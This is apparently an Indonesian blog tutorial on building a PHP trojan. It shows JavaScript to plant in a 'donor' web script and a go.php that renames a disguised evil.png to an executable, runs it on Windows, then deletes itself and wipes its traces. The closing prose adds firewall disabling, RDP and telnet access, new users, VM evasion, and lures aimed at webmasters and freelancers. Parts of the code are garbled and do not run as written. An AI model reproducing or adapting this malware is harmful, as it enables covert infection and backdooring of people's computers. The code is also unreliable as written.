Membuat Virus Trojan Menggunakan PHP




Untuk memengaruhi seseorang yang menggunakan php, kita membutuhkan donor skrip, trojan, dan 2 file. Korban kita harus menjalankan skrip di localhost (Denwer, AMPPS, AppServ, EasyPHP, Nimp, Xampp, dll.). Pastikan untuk menunjukkan bahwa Anda perlu menguji perangkat lunak pada komputer lokal atau membuat Trojan menjadi skrip yang seharusnya dijalankan hanya di localhost.

File yang di butuhkan

1. script.js 
2. go.php 
3. evil.png (trojan dengan ekstensi yang sudah dimodifikasi) 
4. Text Editor/ Donor

Copy Source Code script.js  Berikut


  1. // for the ajax
  2. function to work getXmlHttp () {
  3. var xmlhttp;
  4.      try {
  5.          xmlhttp = new ActiveXObject ("Msxml2.XMLHTTP");}
  6.          catch (e) {
  7.      try {
  8.          xmlhttp = new ActiveXObject ("Microsoft.XMLHTTP");}
  9.           catch (E) {
  10.     xmlhttp = false; }}
  11.                     if (! xmlhttp && typeof XMLHttpRequest! = 'undefined') {
  12.                     xmlhttp = new XMLHttpRequest ();
  13.                     }
  14.                 return xmlhttp; } 
  15. // Run the script go.php
  16. // ### start456789
  17. var x = getXmlHttp (); x.open ('GET', '/go.php', true);
  18. x.onreadystatechange = function () {
  19.     if (x.readyState == 4) {if (x.status == 200) {}}};
  20.     x.send (null);
  21. // ### end456789
  22. // Any further code

Anda dapat memasukkan source code di atas ke dalam skrip js apa pun yang digunakan oleh aplikasi yang sedang kita trojaning. Dalam kode ini, ajax-request dikirim ke beberapa skrip bernama go.php. Sekarang mari kita lihat apa yang ada di skrip go.php:




Copy Source Code go.php Berikut


  1. <? php
  2. // prepare the trojan
  3. rename ("evil.png", "evil.exe");
  4. // remove this script
  5. unlink ('go.php');
  6. // Clean the tracks in script.js
  7. $ source = file_get_contents ('script.js');
  8. preg_replace ("// ### start456789 [\ s | \ S] * // ### end456789", "", $ source);
  9. $ fh = fopen ('script.js', 'w');
  10. fwrite ($ fh, $ source);
  11. fclose ($ fh);
  12. // We work only on win
  13. pos = strpos (php_uname (), "Win");
  14. if (pos! == False) { 
  15.                      exec ('evil.exe'); }
  16. // delete the Trojan if it does not go away or we are not on vid
  17. unlink ('evil.exe');

Jika Anda 100% yakin bahwa korban memakai Win7, Vista, XP, maka tidak perlu untuk mengubah nama menjadi .exe


  1. <? php
  2. // remove this script
  3. unlink ('go.php');
  4. // Clean the tracks in script.js
  5. $ source = file_get_contents ('script.js');
  6. preg_replace ("// ### start456789 [\ s | \ S] * // ### end456789", "", $ source);
  7. $ fh = fopen ('script.js', 'w');
  8. fwrite ($ fh, $ source);
  9. fclose ($ fh);
  10. // We work only on win
  11. pos = strpos (php_uname (), "Win");
  12.     if (pos! == False) {
  13.             exec ('evil.png');
  14.             }
  15. // delete the Trojan if it does not go away or we are not on the
  16. unlink ('evil.png');


Saya pikir konsep itu bisa dimengerti. Hasilnya (alih-alih menjalankan trojan adalah exec ('calc.exe')): Apa yang bisa saya lakukan / tambahkan?


Script trojan dari beberapa file Menjalankan trojan dari arsip yang dilindungi kata sandi Memeriksa akses Internet Memeriksa peluncuran di mesin virtual Menggunakan baris perintah sepenuhnya (lepaskan firewall, buka telnet, rdp, seseorang, buat pengguna baru, dll.) Jika fungsi exec dilarang, coba gunakan yang lain (sistem, passthru, proc_open, shell_exec, popen ...) Tambahkan beberapa tindakan jika skrip berjalan di bawah linux, macOS. Tentu saja, untuk lebih banyak bespalevnosti, Anda dapat mengubah nama file, menyembunyikannya dalam subfolder, dll. Sesuai keinginan, dimungkinkan untuk mendorong semua dalam satu file (trojan, js, php), dimungkinkan untuk dilakukan tanpa trojan - untuk membuat pengguna, untuk membuka akses pada RDP, untuk mengirim IP gateway


Siapa yang bisa menjadi target?

 Webmaster (mudah diintegrasikan ke dorgen, spamilk, parser, chekalku, skrip yang dibatalkan, tombol lain "menjarah") Web-studio, freelancer, coders (dengan dalih memodifikasi "situs", skrip) School-Hecks (pribadi pengelola shell, generator palsu lokal, forum pembuangan, dll.) Penontonnya agak sempit, tetapi sangat menarik. Dan tentu saja, tidak ada yang melarang meninggalkan php-backdoor dan berdebar, kalau-kalau skrip dijalankan di Internet, tapi itu cerita lain
Eat, Sleep, Coding. Repeat !

Post a Comment